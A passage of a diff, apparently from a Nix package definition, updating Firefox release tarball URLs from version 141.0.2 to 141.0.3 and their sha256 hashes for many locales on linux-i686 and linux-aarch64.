-      sha256 = "beaeed836be6c7e12b9e3d95cd06428d590ae8bec31bbbe21e474814c864ad4a";
+      sha256 = "03537230463511135605a16498ad43eb4b7f86691d42faf0ff1f343b4c8b0d54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/ur/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ur/firefox-141.0.3.tar.xz";
       locale = "ur";
       arch = "linux-i686";
-      sha256 = "1c3541914483636be5e2055c35dfbe2c3f87c6123d123c6f60c8b97024d5d848";
+      sha256 = "7dd1b6d54c44c028bb708289c303220c872d2f3e35941b617d5faffb24140228";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/uz/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/uz/firefox-141.0.3.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "1d6c6b4a155df8c5eb8f2fdbb85117f013096cb9cad3df0daa96cf0498074adb";
+      sha256 = "664627334c89fb2fc533c2b15a45b2d793880182108438bce66e842530b42c0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/vi/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/vi/firefox-141.0.3.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "0ecb776845a9c110a580e214c328483b30e530ccf2df124b0ddaff7586ec46ce";
+      sha256 = "a5359392718e892fa2cc430614915efcf7ce35fd1d9644f0d9795f9362f0dc82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/xh/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/xh/firefox-141.0.3.tar.xz";
       locale = "xh";
       arch = "linux-i686";
-      sha256 = "a244b054178802015e3695c411547eee2a6e8c9bb35c29ff533f9e230a028cae";
+      sha256 = "f195c79de2f44b38342171546fab4b51a7e4dcc3d400e38621004a8605a80451";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/zh-CN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/zh-CN/firefox-141.0.3.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "547330a565ea659e8012e0356a0b52c54e1dbfd399b38309ceb78fc9b13b480b";
+      sha256 = "978a688036228727b1362235de138e8c45d07bc6f5594ad1fccc23b5bbc03384";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-i686/zh-TW/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/zh-TW/firefox-141.0.3.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "7df682aa758d35cb99f19e6e5585c91e50f811039419a00de88f14ca315d3c5f";
+      sha256 = "0b57d860ddae56e11691142f2831d8c157c1261fc8850d3c49da5cce69320b9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ach/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ach/firefox-141.0.3.tar.xz";
       locale = "ach";
       arch = "linux-aarch64";
-      sha256 = "d34eac78298a59714c3a6b708e705a3b773d8cf50c29664e05676838a2c9fd4b";
+      sha256 = "e805a97c7c70eb7dda81009a67e198c9d9be31f6ccf7960ef5d589026a79c534";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/af/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/af/firefox-141.0.3.tar.xz";
       locale = "af";
       arch = "linux-aarch64";
-      sha256 = "d6725b21490876838f4c0dc70bb2c1b3c2043f5a38b6d0b542b1bc45fa590644";
+      sha256 = "9f12d3e8adb170fd683ac8a1afdc129671e5626d9c959fc59c9ec92d7f54828b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/an/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/an/firefox-141.0.3.tar.xz";
       locale = "an";
       arch = "linux-aarch64";
-      sha256 = "0d842d007ef4792d667f29a26b0a4bade0db0df56b410d2e9e441793a97036b1";
+      sha256 = "738e71a2bd71b402030be00760835b4d715dc099b476450ffce48517823f7368";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ar/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ar/firefox-141.0.3.tar.xz";
       locale = "ar";
       arch = "linux-aarch64";
-      sha256 = "2dc80d64180f0f6aced6e7e14aafa6f93f18b19712aca863ab3a604d0cf2bcc0";
+      sha256 = "a081b992be71628058d74897787789b5bed97c60846a620eac8e27750f28fd4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ast/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ast/firefox-141.0.3.tar.xz";
       locale = "ast";
       arch = "linux-aarch64";
-      sha256 = "d439bab15e86302d81ca64e90f26c0129ad49f2151e8de4fdd4fff1f2dca1e39";
+      sha256 = "4034795ba53c79badf32fc996ae2c82a31bf9bf1a8685a1a3c8cf867257fd659";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/az/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/az/firefox-141.0.3.tar.xz";
       locale = "az";
       arch = "linux-aarch64";
-      sha256 = "1cfaf6976857f133b8cb567bc9ff80274ca5d2e28a185c9b52c859ee13056c17";
+      sha256 = "f4f373697bcb3857efd0157c88bd86b6637785c111129dc1a4e7595d2410d768";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/be/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/be/firefox-141.0.3.tar.xz";
       locale = "be";
       arch = "linux-aarch64";
-      sha256 = "c5763fd3971af0f0871e9d625a35b32dc7df8919120e2c60c0954d2c3659b05d";
+      sha256 = "f87377d1d9fbc9da5468747cf2292dec97df9c0c8d3faea4c829fc81c14a767f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/bg/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/bg/firefox-141.0.3.tar.xz";
       locale = "bg";
       arch = "linux-aarch64";
-      sha256 = "7a5edc617d886b95d3d6b51169489efeeca2d62d0fc1fa382c54654386b7b57c";
+      sha256 = "d1210d16b7e43628a1b9721caa507e7897a463d2c6e2cae37f6c924905f7ce0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/bn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/bn/firefox-141.0.3.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "1650de6bd164d2154174f2378354caaec861e5959082740a9f2efd6fa58b9357";
+      sha256 = "0f3592b56f68c06d8d6b4ebf45341a1c0945e55c81987524f165cd5bfeddc4a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/br/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/br/firefox-141.0.3.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "57e10c673b2544eea26ee86a868cf76e9d5462bb9d1b800ee76e718a645089f5";
+      sha256 = "93cac00cc172b45dd03151b9776f28e200c6e92bd08982a2f5eaa8e0a4cd8993";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/bs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/bs/firefox-141.0.3.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "64bbfdc66c61e8e0c492ae7fa75a8eda4db730f46d2db687acb47958bae7de9b";
+      sha256 = "d06332ab198ede6f464e2f7b99e6a7c8f65aa5e160e80b1e2e899f89b1bc717f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ca-valencia/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ca-valencia/firefox-141.0.3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "dedbbeb3ca64e90a2df30d581d29be16e2263f7c2a12ef2b0973dfe5b6b086d7";
+      sha256 = "5573bbe4cfd9ed779c6b05278ddc04ca33cdbb5078e4960cbb14d97ca8c94388";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ca/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ca/firefox-141.0.3.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "146f2989ca1deeda8a57a695b386311f4d28440a6459ab0a04db79768899d040";
+      sha256 = "334140317e51df90cfa4240841976f8956d5297f7a0cc3e26c3ced83bba49e7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/cak/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/cak/firefox-141.0.3.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "997c27ffe13c914bfaeaa1581e824cc1eea0a3a2e385594633186236522d04ac";
+      sha256 = "82384a3d8bfa3ba7e6c8c0bad3161b0d877e6be46454347afe821d435d56105d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/cs/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/cs/firefox-141.0.3.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "9ff2d7546f1a6df43432ccf71b22b63626dbfb1e58a83c9c1b2e2ba4ae55e877";
+      sha256 = "b76019fc1806796e66a56733723eedd85a6f421e5c238d9ced49db26e961e72b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/cy/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/cy/firefox-141.0.3.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "555a30b33aabb9e75165f9a1cfec56464cf4923720b4726c803f1aa801d75bcc";
+      sha256 = "f0d42e136cde6e89af9e7115cbe47bef980db0125fd8287468d136aa4342b576";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/da/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/da/firefox-141.0.3.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "e8cc6330cc113ddb616e206df4f94a83c0de307dae0545481272dcb6d2d4f3b6";
+      sha256 = "246b1504a4aff20e85f905563f04db4db698623eee3476e3c2463690bfc79fa5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/de/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/de/firefox-141.0.3.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "c466bb7884760b0ad06acf2c0133370e06acdf5f0f264559064a9073b3504484";
+      sha256 = "26954e7967e8250dc671d35cd763ed93071f953af82cb47fd147f616f98af9a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/dsb/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/dsb/firefox-141.0.3.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "f57161573dccb5cd97cde8045627cfdea9fa6302cf5adcc7004b734c96cf29fc";
+      sha256 = "db91fe77c8bbbb1ffaee18019620f1ce1d95237d3b1a2bc97d18938b5ab0711c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/el/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/el/firefox-141.0.3.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "37276a3a3f47ad7b9e89a0e99fb58bb3bd23de68f7206e9b642e400da317ffd5";
+      sha256 = "8127b968f34d1e38d67d5e9287927a1d494b1879f3d24f89712f1b0df02f106f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/en-CA/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/en-CA/firefox-141.0.3.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "63065f21f7aa66d90ab61eaba82ae1248cd3243b64636795034edbfa91be5ebe";
+      sha256 = "3605917655d75096a80dcb9db271bf268d3327fe2ebda0235aea2d22537949eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/en-GB/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/en-GB/firefox-141.0.3.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "8d544c690218db2cc58aaf7bccf5f45af7f644682ae14bda49fc07bce0b64884";
+      sha256 = "cdcf3d691840efb370a96bed1f1bf7a32174e413d1e16ac2ed55460f0143902c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/en-US/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/en-US/firefox-141.0.3.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "e88445bf5361456ef58564305716502b36d9a084f0c4168e0bab72db06053ee8";
+      sha256 = "03ab7f03538b642693f91bc935f55d9eb6df089eac520a65e1e34dc4fdd7049a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/eo/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/eo/firefox-141.0.3.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "c6fcaecc1fd68ecfada6da7b85c8c988aa352d438cc781162034fbf8d081c582";
+      sha256 = "f2316fc6e0a1a747ddaa6b7d88ab335d2058cb4ea223f40533744658240057b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-AR/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-AR/firefox-141.0.3.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "6f5c1c88c751a7df845dd8ece08e340e19ae330371e9c43537f390793456cd60";
+      sha256 = "82305a617d919fe05bb24530fab0a4e059f410664791c160883f9806453fa9b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-CL/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-CL/firefox-141.0.3.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "f31a2991a9ce288b560541e3ae7cfa369db50f9e43da30f0a2f2c06eea0b0125";
+      sha256 = "7502b51099ae36c95cc0486b0f0722f4c4d2b02f4d54f13294ff59d05678324b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-ES/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-ES/firefox-141.0.3.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "d171011091bb5761095b4e132203558ee200801dfa52fec5fa102f41f95901a1";
+      sha256 = "8af4cec2229bb371c29e402e5765412b18b5b971a49960a8d7634cbf01aaa9ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/es-MX/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-MX/firefox-141.0.3.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "f7623a174b6b17b6676276b0c7220aa6cf58b79cc43daaf65f1170a10007c9d7";
+      sha256 = "65d1dc229e64e9fab6e1feedea5a6cf18a5322c6854d09ad4a5f7ae9ba751a59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/et/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/et/firefox-141.0.3.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "a011add6dc2a2b1fc9eaf46669989684dd3603a3ccd119cc232993c93156ac97";
+      sha256 = "c1f9fb45a269025505713179578de8d099a6f2297f3f4a3de28928ec2c04ebb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/eu/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/eu/firefox-141.0.3.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "8033f7a4eb48017a258cacc46293b7694ce7f042f9afde54ac7a85cee25e191a";
+      sha256 = "cbe476b6a6e28050e1b2a7fe6e0e5c804076ee23f298778541e75b748f715a2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fa/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fa/firefox-141.0.3.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "ba98957b4b1912bf7363138d89e1058533cf59a3f737c5c1665853b9b5497ac7";
+      sha256 = "02a57b863cf369c783395e02453edef5d351c08d3f19a399eb1d056d769163c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ff/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ff/firefox-141.0.3.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "0ad0f128f0e6843bd31ce07329a13e319d1b70228b838516e929f80782bc3c05";
+      sha256 = "c729d78512a7bef8328791f36077d8b991e6424a5dfe778aeccd1e0790e8b20f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fi/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fi/firefox-141.0.3.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "93a8a7908e6f3c1806abfa3c68f6cbc258e0f393c6c42d3392d6633b0892a6ae";
+      sha256 = "2cce8db24a3308396d50eaf9663950f222747ae34e639445bbae64c1cb94d6ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fr/firefox-141.0.3.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "f8bb7dbfb4bcc34f9349db30bebb4f317d2e119b3f5e1821b8146ed8375f6e08";
+      sha256 = "cdf837780a11c3b0f2acb8382162ab10d67eece7962930497ae2cb30c2e7cd75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fur/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fur/firefox-141.0.3.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "65da8ac80cd4bd90ebfb9964eb53c8ca97b22165b9c35e1754969015cf417c25";
+      sha256 = "0e9cb8fa64b6ca14260c8a0e0ad2906414bba9721366d832e4bce995b36e387f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/fy-NL/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fy-NL/firefox-141.0.3.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "def76201dd6ad9cec1a28ddd4bfbd3cddfd77c1e82483613d139190832ac892c";
+      sha256 = "29726f35cdb7bfbcf1777a5b56dcb61f0fe4f4afa958d096b9945119792bb9e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ga-IE/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ga-IE/firefox-141.0.3.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "1f3c290e030e1b7f3290de66f4a5d82a38c528652760737de78887e84d644df5";
+      sha256 = "87c73b2c2cbbb0a4185b18e2bec8ef9ef762e1cdb6bd68a1c55e24c7993fcf65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gd/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gd/firefox-141.0.3.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "3867934f00fe3e05cd4138dfe74d74e2ba4cb9e08fafe4ff2a7b0a7e9ba9d976";
+      sha256 = "94572640d1c89b3e8e266f4e5c26644d83fbdfd7380995988427cdc173e2bd1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gl/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gl/firefox-141.0.3.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "0cd262019c7056b0afe9b31d3dd1abbc8e7b8eacfb0630a61cef5a1364cf6ba3";
+      sha256 = "dfd1b843908d7a17583e140883317609f9c86e9850388e6985b83b1515dc87c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gn/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gn/firefox-141.0.3.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "3a2e768a2a57bda19c481917dd7d96f6009ee38fc033e923472be5e6ca168a57";
+      sha256 = "50efc231c9607aa0baa091df45143ae4bfc645695684efbfc82cc68f135c3dea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/gu-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gu-IN/firefox-141.0.3.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "9e1f38d13f85511e749b12a624d95cdaf0fa989240a5a7fd8c6f12816561dd88";
+      sha256 = "709c3e0e38ae4261715cc7ca871342f5211fbcf71ab51d510b1aeaa953ffc01e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/he/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/he/firefox-141.0.3.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "41848fb4a74cfc6ad7328e25c3bcd9d73c02adf118c03125abb7ae4332359cd5";
+      sha256 = "b9dd29b4d4abb10005afc05a6700c8b333378ad7e6c68eb9d8a5d57d6b351404";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hi-IN/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hi-IN/firefox-141.0.3.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "7bd1d06644436cadaf7f82dda56289d375dc05880787f1730968f2b212141726";
+      sha256 = "44d8996aa7e92ca6e17ecc511a962d3572318c7e280386f4df464266e89bfe36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hr/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hr/firefox-141.0.3.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "9bae71dae762ef16120c107a4345b2cfad159466877784d46d4fa7257018ff9f";
+      sha256 = "2c90c13a0843950573365bbdaca112561faaa43f3061ff758df7dd36cbb111ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hsb/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hsb/firefox-141.0.3.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "5444a48d6eab152b10b67bfe11dac5eefc2634a599252cf5fec7592772e73c1f";
+      sha256 = "dc2bd48cb76bf95781ad99a2c522afd6374ba38efdb6da33305e15bd303dd0d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hu/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hu/firefox-141.0.3.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "a4821e4bf0d8fec98b08ab69e611b3d7d813d224bc5b558f45287ab19aa3e4f0";
+      sha256 = "71ff53f966cc51dbd9a535e59a9581430da1b3e322b7fe21c2236860a3002123";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/hy-AM/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hy-AM/firefox-141.0.3.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "822092e1d2348bd19e696ac0b43633198ebc7428e2112572d18b13673303d8e6";
+      sha256 = "9bd57c68c4c3fbace372b3c7dee336fbe8105a929a43dc1f3a932cef0d15ec5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ia/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ia/firefox-141.0.3.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "82c9f4fd01d379662bbca2d051aaabc3f951c7be6ca235787468975b2fa18f63";
+      sha256 = "ef1528140dc1f5e9f4c4a3d094989d2d2bf1101410058c04a34b3342e67d7f89";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/id/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/id/firefox-141.0.3.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "264aab274c84a0f74fd1e2534f8aeb4cc59119ee936dfc276a615c3a14ec8054";
+      sha256 = "e9754510da65f230f9cc7271eb65a2e963e5fdabbd52551c0e45ddba2601ac21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/is/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/is/firefox-141.0.3.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "d2043abc4e5b788f2147a4563ed28488a3452c15a1c79ed3eeb40cea69642457";
+      sha256 = "8a2ac7612025066af5b510c45174908891f9564ba929ce7d610cca2853cca383";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/it/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/it/firefox-141.0.3.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "35c7aa30dbd77787194faad2871592139d3229052707c86f83fb7e69378f7aa3";
+      sha256 = "85e6227dbc2fc677eb09f8342b2d7998e95eb7be31e0c1731b091470a9c95f1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ja/firefox-141.0.2.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ja/firefox-141.0.3.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "ab6ef9a0300813379bed1982f52f2c8acd8da7087b88b9179598bb096b63bb84";
+      sha256 = "1ef1caf9e57697552fa12bf34f55b0d16badc8f777bbecfb71595033f38f907d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/linux-aarch64/ka/firefox-141.0.2.tar.xz";
